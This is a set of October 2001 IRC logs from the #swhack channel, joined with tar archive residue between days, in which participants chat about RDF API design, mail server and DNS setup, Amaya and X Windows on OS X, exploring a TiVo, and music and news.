<AaronSw-x> Now to get Amaya working... 20:48:43 <tav`> tav` has joined #swhack 21:00:45 <sbp> sbp has joined #swhack 21:01:13 <sbp> * sbp wonders if Aaron has heard of DIGL 21:01:21 <AaronSw> Hi sbp. 21:01:24 <AaronSw> DIGL? 21:01:33 <AaronSw> Device Independent Gargoyle Libraries? 21:01:39 <AaronSw> ;-) 21:01:40 <sbp> Device Independence GuideLines 21:01:55 <sbp> now, incorporate that into the topic line! 21:02:02 <sbp> s/that/*that* 21:02:06 <AaronSw> I suspected as much. Is that the thing WL keeps talking about? 21:02:13 <sbp> nope 21:02:32 <sbp> that's DIP 21:02:34 <AaronSw> AaronSw has changed the topic to: I need to find the ZIG to the W3C's XAG. Let me go look it up in my Device Independent Gargoyle Library. 21:02:43 <AaronSw> OK, then I haven't heard of it. 21:03:06 <sbp> it's a pseudo made-up thing 21:03:13 <AaronSw> Postmodern college life: http://www.goldsmiths.ac.uk/images/gold531.gif 21:03:18 <AaronSw> From http://www.goldsmiths.ac.uk/ 21:06:08 <AaronSw> So I got X Windows working on top of OS X. Now I'm installing Amaya. 21:06:15 <AaronSw> This is going to be really cool. 21:06:20 <sbp> installing Amaya... aaaaargh! 21:07:48 <sbp> X Windows? Who worked on that, then? :-) 21:08:02 <AaronSw> Who worked on it? 21:08:10 <sbp> Daniel 21:08:22 <AaronSw> Really? 21:08:27 <sbp> yeah, I think so 21:08:37 <AaronSw> Art Beckett did too, I think. 21:11:04 <AaronSw> Whenever I hear the Beatles singing "I will return" (in my head most of the time), I think of your homepage: "Another Slight Return" 21:12:15 <sbp> wrong reference 21:12:18 <sbp> I will return? 21:12:43 <AaronSw> "I will return... yes I will return..." 21:12:51 <sbp> oh, of course... 21:13:33 <AaronSw> From A Taste of Honey 21:13:39 <sbp> one of their older songs 21:14:29 <sbp> [[[ 21:14:30 <AaronSw> I downloaded all those Bob Dylan songs last night (or a bunch of them)... they weren't that great. 21:14:30 <sbp> Daniel Dardailler joined the W3C team in Sophia-Antipolis, France, in July 1996. 21:14:30 <sbp> Prior to that, he was acting as a Software Architect at the X Window System Consortium, responsible for the Motif toolkit and others CDE components. 21:14:39 <sbp> ]]] - http://www.w3.org/People/danield/bio.html 21:14:45 <sbp> Blargh! 21:14:51 <AaronSw> Seemed pretty formulaic. 21:15:17 <sbp> really? Perhaps you downloaded the wrong songs 21:15:27 <AaronSw> I went thru the first whole list you wrote out. 21:15:32 <AaronSw> And started in on the second. 21:15:32 <sbp> seriously though, some people really don't like Bob's stuff, and some people love it 21:16:28 <sbp> * sbp is listening to "Love And Theft" as he has been for most of the day 21:16:49 <AaronSw> Heh, look at that... DanielD and ArtB worked together: 21:16:52 <AaronSw> """CDE Development: Art Barstow Pascale Dardailler David""" 21:17:35 <AaronSw> Hmm, perhaps not. 21:17:57 <sbp> sbp has quit 21:18:49 <sbp> sbp has joined #swhack 21:19:43 <AaronSw> Ahh, Daniel is right above that -- he's a CDE Architect, emeritus. 21:19:47 <AaronSw> - http://ftp.planetmirror.com/pub/XFree86/WWW/htdocs/4.0.2/XConsortium.7.html 21:21:17 <AaronSw> Pretty cool. 21:37:04 <AaronSw> Yes! Look at http://www.statistics.gov.uk/census2001/pdfs/section5part3.pdf page 18, #896 21:37:22 <AaronSw> They got "Jedi Knight" registered as an offical religion. 21:37:26 <sbp> lol 21:37:43 <AaronSw> Right above "Heathen" and below "Other Religions". 21:39:07 <sbp> Cool mix 21:45:17 <AaronSw> Heh: "This Makefile actually runs a configure script in libwww. I consider this poor form, but I didn't write it. " - A Darwin developer on the Amaya Makefile 22:02:50 <AaronSw-x> AaronSw-x has quit 22:03:27 <AaronSw-x> AaronSw-x has joined #swhack 22:07:28 <sbp> * sbp thinks about writing a new essay 22:07:47 <AaronSw> On what? 22:08:14 <sbp> "Why DanC's Homepage is Better Than Aaron's, and why Aaron's is Better Than Mine" 22:08:23 <AaronSw> That'd be good. 22:08:32 <sbp> yes, it would 22:08:33 <AaronSw> ;) 22:10:52 <sbp> actually, your homepage might be beating Dan's current homepage implementation 22:11:25 <AaronSw> heh, homepage implementation 22:15:43 <sbp> Gotta run 22:15:45 <sbp> sbp has quit 22:19:49 <sbp> sbp has joined #swhack 22:19:56 <AaronSw> wb 22:21:04 <sbp> ty 22:22:42 <AaronSw> np 22:22:43 <AaronSw> at 22:22:47 <AaronSw> wa 22:23:03 <sbp> sbp has quit 22:24:43 <sbp> sbp has joined #swhack 22:25:19 <AaronSw> wb 22:25:58 <sbp> ty 22:27:08 <AaronSw> np - at 22:27:22 <AaronSw> wu? 22:28:03 <sbp> sbp has quit 22:37:40 <sbp> sbp has joined #swhack 22:37:58 <sbp> why does your homepage say "Valid XHTML 1.0 Strict" when it's transitional? 22:39:10 <sbp> it nearly validates as strict anyway: http://validator.w3.org/check?uri=http%3A%2F%2Fswartzfam.com%2Faaron%2F&charset=%28detect+automatically%29&doctype=XHTML+1.0+Strict 22:39:24 <AaronSw> Oops -- it was Strict and then I changed it for some reason. 22:40:05 <sbp> and smegs a few things in XHTML Basic 1.0: http://validator.w3.org/check?uri=http%3A%2F%2Fswartzfam.com%2Faaron%2F&charset=%28detect+automatically%29&doctype=XHTML+Basic+1.0 22:40:39 <AaronSw> If I take out the clear="all" it looks really bad. 22:40:44 <AaronSw> So I'm not sure what to do. 22:43:00 <sbp> looks alright to me, but I've gotta run now... 22:43:07 <sbp> c'ya 22:43:09 <sbp> sbp has quit 22:43:10 <AaronSw> ok, c'ya 22:46:15 <AaronSw> * AaronSw fixes the link to say just "Valid XHTML 1.0" 22:47:20 <AaronSw> huh? No style in HTML Basic? 23:11:03 <AaronSw-x> AaronSw-x has quit 23:45:13 <Morbus> Morbus has joined #swhack ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-10-06.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000002143�07357715253�012013� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:10:43 <logster> logster has joined #swhack 00:10:43 <asimov.openprojects.net> topic is: I need to find the ZIG to the W3C's XAG. Let me go look it up in my Device Independent Gargoyle Library. 00:10:43 <asimov.openprojects.net> Users on #swhack: logster sbp Morbus tav` AaronSw deltab tav 00:10:44 <sbp> sbp has quit 01:12:19 <Morbus> Morbus has quit 01:37:02 <Morbus> Morbus has joined #swhack 02:01:56 <Morbus> Morbus has quit 02:14:17 <AaronSw> AaronSw has quit 14:29:00 <AaronSw> AaronSw has joined #swhack 23:04:25 <deltab> deltab has quit 23:04:25 <tav> tav has quit 23:04:25 <tav`> tav` has quit 23:04:34 <deltab> deltab has joined #swhack 23:04:34 <tav> tav has joined #swhack 23:04:34 <tav`> tav` has joined #swhack 23:05:58 <sbp> sbp has joined #swhack 23:12:22 <tav`> tav` has quit 23:19:04 <sbp> sbp has quit 23:19:46 <lilo> [GlobalNotice] Hi all. Services will be back in a moment, after a bit of splitting. Thanks. 23:21:11 <ChanServ> ChanServ has changed the topic to: 23:29:43 <sbp> sbp has joined #swhack 23:36:50 <sbp> sbp has quit 23:51:55 <sbp> sbp has joined #swhack 23:58:35 <sbp> sbp has quit �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-10-07.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000113021�07360166173�012005� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:08:07 <logster> logster has joined #swhack 00:08:07 <forward.openprojects.net> Users on #swhack: logster AaronSw tav deltab 00:29:45 <AaronSw> Grr, why isn't google indexing the swhack logs? 00:29:58 <AaronSw> * AaronSw resubmits. 00:36:25 <sbp> sbp has joined #swhack 00:36:28 <AaronSw> Hi sean. 00:36:35 <AaronSw> Nice letter to the Patent Policy comments. 00:36:47 <sbp> Hi there, Aaron "Funk Maestro of the Mid-West" Swartz 00:36:51 <sbp> thanks 00:36:56 <sbp> I liked it too :-) 00:37:04 <AaronSw> heh: Funk Maestro of the Mid-West? 00:37:15 <sbp> I've been saving that for days now 00:37:24 <sbp> (the "Funk Maestro" quip) 00:37:39 <AaronSw> Where 00:37:43 <AaronSw> Where'd that come from? 00:38:13 <sbp> I just thought of it during The Simpsons for some reason; perhaps it was related to something in the episode? 00:38:47 <AaronSw> Heh: 00:38:57 <AaronSw> > But when corporations own all of the avenues of free speech 00:38:57 <AaronSw> Do you expect to be leasing your tongue some time soon? 00:39:12 <sbp> heh; where's that from? 00:39:15 <sbp> Anyway, I've been busy: http://infomesh.net/2001/10/swipt/ 00:39:21 <AaronSw> cite: http://wmf.editthispage.com/discuss/msgReader$5906 00:40:02 <AaronSw> Ooh, a query engine? 00:40:09 <sbp> Hmm... "Ammendment" :-) 00:40:19 <sbp> Not only that, but a *working* quesry engine :-) 00:40:34 <sbp> and a query engine, too 00:41:01 <AaronSw> Oooh. 00:41:18 <sbp> python query.py earl.n3 earlq.n3 > out.n3 00:41:34 <AaronSw> CooL! 00:42:08 <sbp> I've no idea how it works. Spent all day writing it 00:42:52 <AaronSw> You have no idea how it works...hmm. 00:43:09 <sbp> When I was debugging it, I set something wrong, and it gave me an 8MB+ output file! 00:43:18 <AaronSw> lol 00:43:24 <AaronSw> Query engines are hard to control. 00:43:28 <sbp> I have a vague idea how it works :-) I was just joking at the oddness of the thing 00:43:41 <AaronSw> Heheheh: http://www.dilbert.com/comics/dilbert/archive/images/dilbert2001101218506.gif 00:43:48 <sbp> hard to control: yeah, if they go wrong, they go wrong. It only takes one line in the wrong place 00:44:13 <sbp> heh heh 00:44:29 <AaronSw> Hmm, 404 at http://www.dpawson.co.uk/WAI/waiframework.html 00:45:03 <AaronSw> SWIPT: Now you'll just need to modify it to work with my super-cool RDF API. 00:45:03 <deltab> I think there's a bug in http://infomesh.net/2001/10/swipt/util.txt in the escape function 00:45:18 <deltab> \ should be replaced first 00:45:32 <sbp> moved to: http://www.dpawson.co.uk/WAI/WAIFramework.html 00:45:35 <AaronSw> Heh, yes, escaping bacslash last is really dumb. 00:45:46 <sbp> super cool API: where, where??? 00:46:05 <sbp> escaping backslash last: actually, I just copied the escaping function from one of your classes 00:46:17 <sbp> thanks for pointing it out, deltab :-) 00:46:34 <AaronSw> From deltab's class? 00:46:46 <sbp> no, you! 00:46:56 <AaronSw> oops 00:47:09 <sbp> literal = string.replace(literal, '\\t', '\t') 00:47:09 <sbp> literal = string.replace(literal, '\\"', '"') 00:47:09 <sbp> literal = string.replace(literal, '\\n', '\n') 00:47:09 <sbp> literal = string.replace(literal, '\\r', '\r') 00:47:09 <sbp> literal = string.replace(literal, '\\\\', '\\') 00:47:14 <AaronSw> Hmm, I'm not done with the API yet.. should I upload what I have. 00:47:21 <deltab> sure, what domain name? 00:47:49 <AaronSw> so it'll send the mail back to my server when it comes back up? 00:47:57 <deltab> yes 00:47:58 <sbp> - http://infomesh.net/2001/swipt/swipt.txt 1.6 00:48:00 <AaronSw> cool 00:48:08 <sbp> upload: yes please 00:48:26 <sbp> you might want to consider using ntriples.py in SWIPT: it's really good, IMO 00:48:44 <AaronSw> deltab: 00:48:44 <AaronSw> swartzfam.com 00:48:44 <AaronSw> aaronsw.com 00:48:44 <AaronSw> theinfo.org 00:48:44 <AaronSw> blogspace.com 00:48:46 <AaronSw> logicerror.com 00:50:00 <AaronSw> * AaronSw uploads... 00:50:49 <AaronSw> Uploaded: http://blogspace.com/rdf/rdfapi.txt 00:50:54 <deltab> AaronSw: okay, done 00:51:05 <AaronSw> thanks! what server do you use? 00:51:22 <AaronSw> err, what MTA, and what's its address? 00:51:34 <sbp> cool 00:51:36 <deltab> 209.164.24.133 00:52:52 <deltab> no 00:53:09 <deltab> or else :-) 00:53:20 <AaronSw> heheh 00:53:49 <AaronSw> What port is SMTP again? 00:54:10 <deltab> smtp 25/tcp Simple Mail Transfer 00:54:16 <AaronSw> thanks 00:54:22 <AaronSw> 25... i was close ;) 00:55:06 <AaronSw> Hmm, I didn't know Qmail could do that. How do you set that up? 00:55:31 <deltab> put the domain names into /var/qmail/control/rcpthosts 00:55:38 <deltab> that's it 00:55:53 <AaronSw> Ah, that makes sense. 00:56:10 <deltab> of course on the DNS side you still have to set up MX records 00:56:25 <AaronSw> right... just about to do that. 00:56:37 <AaronSw> should I set up aliases for them? or do you have those set up already? 00:56:47 <AaronSw> like mail-bak.swartzfam.com 00:57:05 <deltab> doesn't matter in the slightest 00:57:42 <AaronSw> Unless you change the address ;) 00:57:56 <deltab> that's not going to happen :-) 00:58:28 <AaronSw> ever? in the history of time? 00:58:44 <AaronSw> or the future, i suppose 00:58:48 <sbp> heh: http://www.dilbert.com/comics/dilbert/archive/dilbert-20010930.html 00:59:22 <AaronSw> Many thanks for your help, deltab. 01:01:09 <deltab> I suggest you put the aliases for your mail servers within the domains they're for, so that your dns server can send authoritive glue 01:01:41 <AaronSw> Wouldn't that require 10 aliases? 01:02:42 <deltab> yes - does your editor have search and replace? :-) 01:03:53 <AaronSw> yeah, but my dns is edited thru a web interface. :( 01:04:05 <AaronSw> * AaronSw tries the "Wizard Interface" 01:04:23 <AaronSw> Oh, for newbies, not wizards 01:04:28 <AaronSw> * AaronSw tries the "Advanced Interface" 01:05:00 <sbp> lol 01:06:13 <deltab> 005308Z <GReaper> anyway, do we need a web dns tool? 01:06:34 <deltab> AaronSw: I'll take that as a No vote :-) 01:06:55 <AaronSw> For what purpose would you want one? 01:07:05 <AaronSw> I wouldn't mind if it just gave me the config file to edit thru a browser 01:07:12 <sbp> impressing your collegues 01:07:12 <AaronSw> but it tries to be "helpful", grr. 01:16:50 <AaronSw> sbp, comments on that rdf API? 01:17:38 <sbp> I'm not sure what it does yet. Your method of programming is far more advanced than my own 01:17:49 <AaronSw> Really? What don't you get? 01:18:22 <sbp> self.neighbors = [MAIN_NODE] 01:18:36 <AaronSw> Yeah, that didn't quite work out as I wanted. 01:18:50 <AaronSw> I wanted to have all of them "inherit" from the MAIN_NODE 01:18:57 <AaronSw> so they'd know basic RDFS triples, etc. 01:19:06 <sbp> what's the MAIN_NODE? 01:19:22 <AaronSw> It's a Node with basic properties like 01:19:33 <AaronSw> self[rdf:type] = rdfs:resource 01:19:43 <sbp> ah, neat 01:21:17 <AaronSw> same thing with MAIN_STORE 01:21:26 <AaronSw> I really need environmental acquisition, I think. 01:21:31 <AaronSw> which is a Zope thing. 01:21:38 <sbp> * sbp is lost again 01:21:50 <AaronSw> yeah, that was to deltab 01:21:54 <AaronSw> or tav 01:22:06 <sbp> I can just about handle SWIPT... it works, and that'll do for me :-) 01:22:15 <AaronSw> The basic idea is to merge two nodes, you create a new node with the original two as neighbors 01:22:23 <AaronSw> and if you want to unmerge them... just do the opposite 01:22:45 <sbp> please, please, document this! 01:23:00 <AaronSw> yeah, i need to get a chance to work on it! 01:23:03 <AaronSw> so much to do... 01:23:18 <AaronSw> ask more questions so i know what to document 01:23:39 <sbp> what does __getitem__ do? 01:23:41 <deltab> is that like unification in prolog? 01:24:00 <AaronSw> unification? dunno... what's it do? 01:24:01 <deltab> sbp: the [ ] operator 01:24:16 <deltab> shucks, I was hoping you could tell me 01:24:23 <AaronSw> yeah, __getitem__ replaces the [ ] operator, along with __setitem__ 01:24:34 <AaronSw> well, not replaces... more like drives 01:24:46 <deltab> ah, there's an entry in foldoc 01:25:15 <sbp> will it be able to take on varied internal RDF store structures: pents, quads, all of different forms? 01:26:09 <AaronSw> no, just the ideal structure ;) 01:26:18 <AaronSw> actually, I guess you could swap in a different store 01:26:20 <sbp> which is? 01:26:43 <AaronSw> well, we're still arguing about it I think... but I like quads with stIDs 01:27:44 <sbp> I like quads with contexts. 'tis what I use in SWIPT now 01:28:52 <AaronSw> Hmm. 01:28:57 <sbp> Seth uses pents with contexts (well, he calls them StIDs I think, but they're contexts... I get muddled up with the terminology), and seqs 01:29:17 <AaronSw> Yeah, the seqs are weird. 01:29:35 <sbp> yeah; but it's for doing easy DAML lists, I guess 01:31:07 <AaronSw> So you disagree with my thoughts on contexts? 01:33:29 <sbp> what are your thoughts on contexts? That they should be resigned to the model? Yes, I do. A context is scope for the quantification of variables, so it's useful to have it as a first class object 01:34:30 <AaronSw> They are... they're just not in the model ;) 01:34:35 <AaronSw> So should quantifiers be in the model too then? 01:34:41 <sbp> aha: http://robustai.net/mentography/SemStructure.gif 01:35:04 <sbp> quantifiers in the model: what do you mean? 01:35:33 <AaronSw> _:x vs. {} forSome :x . 01:36:45 <sbp> well, it's there anyway! having _:x is alright, and so is ?x 01:37:19 <sbp> but there's probably no harm in using both. People can still do it anyway; modelling triples in RDF using weird methods 01:37:21 <AaronSw> But which way should it be represented internally? 01:37:49 <AaronSw> Node = ('fooooo', ExistentialNode, context) 01:37:59 <sbp> I use [x, ANON] or [x, VAR] 01:38:16 <AaronSw> hwo do you deal with quantification? 01:39:10 <sbp> whaddya mean? 01:40:32 <AaronSw> Like, how do you know what x is quantiified over? what context? 01:43:04 <sbp> *the* context. (P, S, O, C) 01:43:35 <AaronSw> hmm 01:43:39 <AaronSw> Am i still on? 01:43:59 <sbp> wow: http://robustai.net/mentography/quads.gif 01:44:50 <sbp> still on what? 01:45:13 <AaronSw> here... messing with net connection 01:45:37 <sbp> ah, yes you are 01:46:15 <sbp> ah, now Seth may have already solved our dispute 01:46:15 <sbp> http://robustai.net/mentography/pentuples.gif 01:47:24 <sbp> he proved quite convincingly to me once that his notion of "StID" covers both your statementID and my contextID things 01:48:49 <sbp> Hmm... how does one say that something belongs to two contexts? 01:48:57 <sbp> just repeat it? 01:49:02 <AaronSw> Can it? 01:49:11 <sbp> Seth seems to imply so: http://robustai.net/mentography/contexts.gif 01:49:50 <sbp> heh, Seth and his ways: http://robustai.net/mentography/higherOrder.gif 01:50:11 <AaronSw> So how does the stID work for contexts? 01:50:54 <sbp> it works as a context flag: exactly the same 01:51:09 <sbp> if two triples have the same StID, they are in the same context 01:51:11 <sbp> http://robustai.net/mentography/reification.gif 01:51:16 <AaronSw> eek, but you need stIDs! 01:51:49 <sbp> yeah, I don't get it either 01:52:01 <sbp> but Seth worked on this for months. PErhaps we should ask him 01:53:23 <AaronSw> hmm, ok 01:53:50 <sbp> I'd have been happy with triples :-) 01:54:55 <AaronSw> heh 01:56:53 <AaronSw> So should I write this up in an email or somehting? 01:57:03 <sbp> please do 01:57:21 <AaronSw> And send it to where? sem-dev? 01:57:33 <sbp> yeah, that'll do 01:59:08 <AaronSw> Hmm... 01:59:16 <AaronSw> I guess having both can't be too bad. 01:59:22 <AaronSw> And it'd make us compatible. 02:00:06 <sbp> there's no way that SWIPT would be compatable with your master RDF API, 'cause I'm a crap programmer. Just do what you think is best 02:00:27 <AaronSw> Heh. 02:01:40 <sbp> Gotta run 02:01:42 <sbp> sbp has quit 02:08:52 <AaronSw> Self-updating software has to be a tech-support nightmare. 02:13:43 <AaronSw> That danja... I'm now reading "Ode on a Grecian Urn" as "Ode on a Grecian URN"! 02:29:06 <lilo> [GlobalNotice] Hi all. Services will be back up in a moment, after some splitting. Please bear with us. 02:31:09 <ChanServ> ChanServ has changed the topic to: 02:31:17 <lilo> [GlobalNotice] Done. Thanks for your patience. 02:31:58 <AaronSw> AaronSw has changed the topic to: Keats: "Ode to a Grecian URN" 02:32:18 <AaronSw> AaronSw has changed the topic to: How do I "do the triple"? Do the triple! Do do do do do do do do do, do do do do do do ... 02:44:37 <AaronSw> What in the world is Banzai, deltab? 02:44:57 <deltab> a crazy, crazy show 02:46:26 <AaronSw> Lol... "Strapped for cash they decided there was only one option left for them.... To sell the Banzai format to a UK TV producer." 02:50:53 <AaronSw> Nope, we don't get Banzai here. 13:31:29 <sbp> sbp has joined #swhack 13:31:49 <sbp> Heh: Do the triple! 13:43:47 <sbp> sbp has quit 13:47:37 <sbp> sbp has joined #swhack 13:56:35 <sbp> sbp has quit 13:57:52 <sbp> sbp has joined #swhack 14:29:54 <sbp> sbp has quit 14:46:40 <AaronSw> la la la la la la la la la la la 15:12:42 <AaronSw> Arjun Ray, commenting on the RDF MT: "Is this list the official place to be ignored?" 15:14:10 <AaronSw> Also: """I would claim, on the basis of my "gestalt" of RDF, that a ntriple should be a node itself. The "basic" RDF graph representation would have four nodes, for the triple and its three terms; the arcs would be labelled by "subject", "verb" and "object" - or their equivalents du jour; anonymous nodes would just be missing outbound subject arcs; 15:14:13 <AaronSw> nodes with only inbound arcs would be the natural places to locate all atomic/primitive terms (literals, urirefs, symbols, whatever); and "reification" would seem to be unnecessary. What this means for Model Theory I haven't the faintest idea.""" 15:14:23 <AaronSw> He's got the right idea there, for sure! 15:39:55 <AaronSw> Hmm, My TiBook did that "gone silent" thing again -- for some reason "esd -nobeeps" was running. Killed it and it started working again. 15:40:07 <AaronSw> Or maybe it was just because I restarted QuickTime Player. 15:40:24 <AaronSw> It was quite weird because if you got it to system beep, you could here the audio playing behind it. 15:44:03 <AaronSw> "Queen says no to pot smoking FBI movement"? 15:44:51 <AaronSw> sugar plum fairy, sugar plum fairy! 16:26:21 <sbp> sbp has joined #swhack 16:26:28 <AaronSw> 'lo 16:26:49 <sbp> 'i 16:27:08 <sbp> I just BCC'd you a message... 16:27:29 <sbp> but it didn't get to you: error 16:27:39 <sbp> [[[ 16:27:40 <sbp> Hi. This is the qmail-send program at mewtwo.esp-worldwide.com. 16:27:40 <sbp> I'm afraid I wasn't able to deliver your message to the following addresses. 16:27:40 <sbp> This is a permanent error; I've given up. Sorry it didn't work out. 16:27:40 <sbp> <aswartz@swartzfam.com>: 16:27:40 <sbp> Sorry. Although I'm listed as a best-preference MX or A for that host, 16:27:42 <sbp> it isn't in my control/locals file, so I don't treat it as local. (#5.4.6) 16:27:44 <sbp> ]]] 16:27:55 <AaronSw> what the? shoooot 16:28:30 <deltab> hmm 16:28:53 <AaronSw> odd, it seems to get thru when i do it. 16:30:14 <AaronSw> hmm, perhaps not 16:30:30 <sbp> that's funny, I just got another one, same error, but with a weird message body 16:30:38 <AaronSw> Yeah, that was me. 16:30:42 <sbp> blargh 16:30:53 <AaronSw> Wgt does it think it's a best preference MX? 16:30:58 <AaronSw> ;; ANSWER SECTION: 16:30:58 <AaronSw> swartzfam.com. 8h33m9s IN MX 10 mail.swartzfam.com. 16:30:58 <AaronSw> swartzfam.com. 8h33m9s IN MX 5 mail-bak.swartzfam.com. 16:31:09 <deltab> because it is 16:31:12 <AaronSw> because it's got dns @swartzfam? 16:31:22 <deltab> 5 outranks 10 16:31:32 <AaronSw> oh, you serious? ooops 16:31:56 <AaronSw> why doesn't it do that for other domains, tho? 16:38:29 <sbp> I wonder why swintro isn't on Google anymore? It was, briefly 16:38:43 <AaronSw> google's acting funny these days 16:38:52 <sbp> yeah, sure is 16:38:58 <AaronSw> Sean, did you get another bounce? 16:39:16 <sbp> * sbp checks 16:39:24 <sbp> yes 16:39:49 <AaronSw> hmmph -- mu2.espnow.com needs to recheck its MX records. 16:41:27 <sbp> Hmm... dinner's nearly ready 16:41:33 <sbp> Gotta run 16:41:35 <sbp> sbp has quit 16:48:03 <AaronSw> deltab, wanna do me a favor and set up something in smtproutes to stop this? 16:49:33 <AaronSw> * AaronSw thinks Ian should set up a public w3c-sucks mailing list ;-) 16:51:26 <AaronSw> I'm losing a lot of mail :-( 16:53:59 <AaronSw> Shoooot, we're bombing! 16:54:10 <AaronSw> Bush: "time is running out" 16:54:12 <AaronSw> For what? 17:12:40 <AaronSw> logster, grep 100 WFM 17:12:46 <logster> I'm logging. I found 33 answers for 'WFM' 17:12:47 <logster> 0) 2001-10-07 17:12:40 <AaronSw> logster, grep 100 WFM 17:12:48 <logster> 1) 2001-10-01 07:36:10 <sbp> WFM, it's 8:37AM. AM! 17:12:49 <logster> 2) 2001-09-26 19:55:54 <sbp> WFM, it connected on the first attempt 17:12:50 <logster> 3) 2001-09-21 02:15:27 <sbp> WFM 17:12:51 <logster> 4) 2001-09-21 01:43:50 <sbp> WFM, no results! 17:12:52 <logster> 5) 2001-09-21 01:43:11 <sbp> neat: http://www.google.com/search?q=WFM+%22well+fuck+me%22&hl=en 17:12:53 <logster> 6) 2001-09-21 01:08:02 <sbp> "00:43:23 <sbp> * sbp coins WFM" - http://blogspace.com/swhack/chatlogs/2001-09-21.txt 17:12:54 <logster> 7) 2001-09-21 01:02:51 <AaronSw> Sean, did you submit WFM to acronymfinder? 17:12:55 <logster> 8) 2001-09-21 00:56:00 <sbp> WFM 17:12:56 <logster> 9) 2001-09-21 00:53:35 <sbp> * sbp wonders about http://www.acronymfinder.com/add.asp?acronym=WFM 17:12:57 <logster> 10) 2001-09-21 00:47:17 <sbp> <chillywilly> WFM? 17:12:58 <logster> 11) 2001-09-21 00:46:42 <sbp> <sbp> WFM, this is getting to be a weird conversation 17:12:59 <logster> 12) 2001-09-21 00:45:59 <sbp> I'm always frightened of saying WFM, because of the responses it gets, but now... aha! 17:13:00 <logster> 13) 2001-09-21 00:44:33 <sbp> WFM, why can't tav guess what "WFM" stand for? 17:13:01 <logster> 14) 2001-09-21 00:44:10 <sbp> WFM, Aaron did become the W3C director 17:13:02 <logster> 15) 2001-09-21 00:43:59 <sbp> WFM, she's sexy 17:13:03 <logster> 16) 2001-09-21 00:43:49 <sbp> WFM, another new acronym! 17:13:04 <logster> 17) 2001-09-21 00:43:23 <sbp> * sbp coins WFM 17:13:05 <logster> 18) 2001-09-21 02:15:27 <sbp> WFM 17:13:06 <logster> 19) 2001-09-21 01:43:50 <sbp> WFM, no results! 17:13:07 <logster> 20) 2001-09-21 01:43:11 <sbp> neat: http://www.google.com/search?q=WFM+%22well+fuck+me%22&hl=en 17:58:07 <AaronSw> The truth behind our new war, from Tony Blair: 17:58:08 <AaronSw> <CC> WE ACT ALSO BECAUSE THE AL 17:58:09 <AaronSw> <CC> QAEDA NETWORK AND THE 17:58:09 <AaronSw> <CC> TALIBAN REGIME ARE FUNDED IN 17:58:09 <AaronSw> <CC> LARGE PART ON THE DRUGS 17:58:09 <AaronSw> <CC> TRADE, 90% OF ALL THE HEROIN 17:58:10 <AaronSw> <CC> SOLD ON BRITISH STREETS 17:58:12 <AaronSw> <CC> ORIGINATES FROM AFGHANISTAN. 17:58:14 <AaronSw> <CC> STOPPING THAT TRADE IS, 17:58:16 <AaronSw> <CC> AGAIN, DIRECTLY IN OUR 17:58:18 <AaronSw> <CC> INTERESTS. 17:59:11 <AaronSw> Toscanini's Website: DANGER! ICE CREAM IS DELICIOUS! 17:59:36 <AaronSw> - http://www.tosci.com/ 18:00:28 <tav> tav has quit 18:05:54 <tav> tav has joined #swhack 18:51:51 <AaronSw> Alcohol advertising returns to US TV [http://media.guardian.co.uk/advertising/story/0,7492,563918,00.html] 19:06:18 <AaronSw> ... Catching up on news. From 9/18: 19:06:29 <AaronSw> "ABC News has decided it has aired enough replays of last week's catastrophic terrorist attack on New York's World Trade Center." - Good for them! 19:33:12 <sbp> sbp has joined #swhack 19:40:24 <sbp> sbp has quit 19:47:38 <AaronSw> whoops. missed sbp 19:47:51 <AaronSw> AaronSw has changed the topic to: TiVo Hacking Extravaganza: We're in! 20:51:10 <AaronSw> AaronSw has changed the topic to: TiVo Hacking Extravaganza: TiVo gets it's data thru HTTP GET from the TiVo server! 20:56:02 <AaronSw> form encoding sves the day again! 20:58:54 <sbp> sbp has joined #swhack 20:59:05 <AaronSw> whoo, this is awesome! 20:59:08 <AaronSw> Hi sbp! 21:00:10 <sbp> Oh man, what now... :-) 21:00:15 <sbp> Hi Aaron. TiVo? 21:00:22 <AaronSw> Yup. 21:00:43 <AaronSw> It's as if I designed it -- they really did things Right. 21:00:50 <sbp> lol!!! 21:01:34 <AaronSw> HTTP GET, POST with x-www-form-urlencoded 21:01:34 <AaronSw> Object-Oriented Tcl to manage it all 21:01:34 <AaronSw> And of course the bash shell. 21:01:40 <AaronSw> I need to meet the guy who engineered this! 21:01:43 <AaronSw> :-) 21:03:05 <sbp> * sbp has just been carefully reading the #swhack logs 21:03:29 <sbp> WFM, what was all the acroynm stuff about? 21:04:37 <AaronSw> heh... logger didn't do exactly what I expected 21:04:37 <AaronSw> I was trying to show deltab what WFM meant 21:05:31 <sbp> ah 21:05:46 <sbp> what were those cool words that we coined? 21:05:52 <AaronSw> When? 21:06:09 <sbp> logster, grep phenomic 21:06:26 <logster> I'm logging. I found 8 answers for 'phenomic' (showing 0...4) 21:06:27 <logster> 0) 2001-10-07 21:06:09 <sbp> logster, grep phenomic 21:06:28 <logster> 1) 2001-10-05 01:41:42 <AaronSw> Chas Munat pointed me to a seemingly phenomic page: http://karljahn.tripod.com/lang/words.htm 21:06:29 <logster> 2) 2001-09-30 14:07:19 <AaronSw> Why not? It's phenomic. 21:06:30 <logster> 3) 2001-09-24 02:25:17 <AaronSw> phenomic, phenomic, phenomic 21:06:31 <logster> 4) 2001-09-24 02:25:12 <AaronSw> phenomic 21:06:31 <sbp> logseter, hello? 21:06:31 <sbp> er... 21:06:43 <sbp> between here and the validator (thanks for activating logger...) 21:06:58 <AaronSw> there's a logger in the validator? 21:07:00 <tav`> tav` has joined #swhack 21:07:15 <sbp> ah, exispeciferous 21:07:21 <sbp> http://blogspace.com/swhack/chatlogs/2001-09-24.txt 21:07:35 <AaronSw> what's this about between here and the validator? 21:07:38 <sbp> no, no logger in there. I mean, we came up with them in this and that room 21:07:45 <AaronSw> ahh 21:07:59 <AaronSw> Brother got big new turntable and stero system today, he went out to the local "mammoth music fest" which happens to be on this week -- so i've been inundated with blasting Beatles songs ;) 21:08:10 <sbp> great! 21:08:51 <AaronSw> s/today/a couple of days ago/ 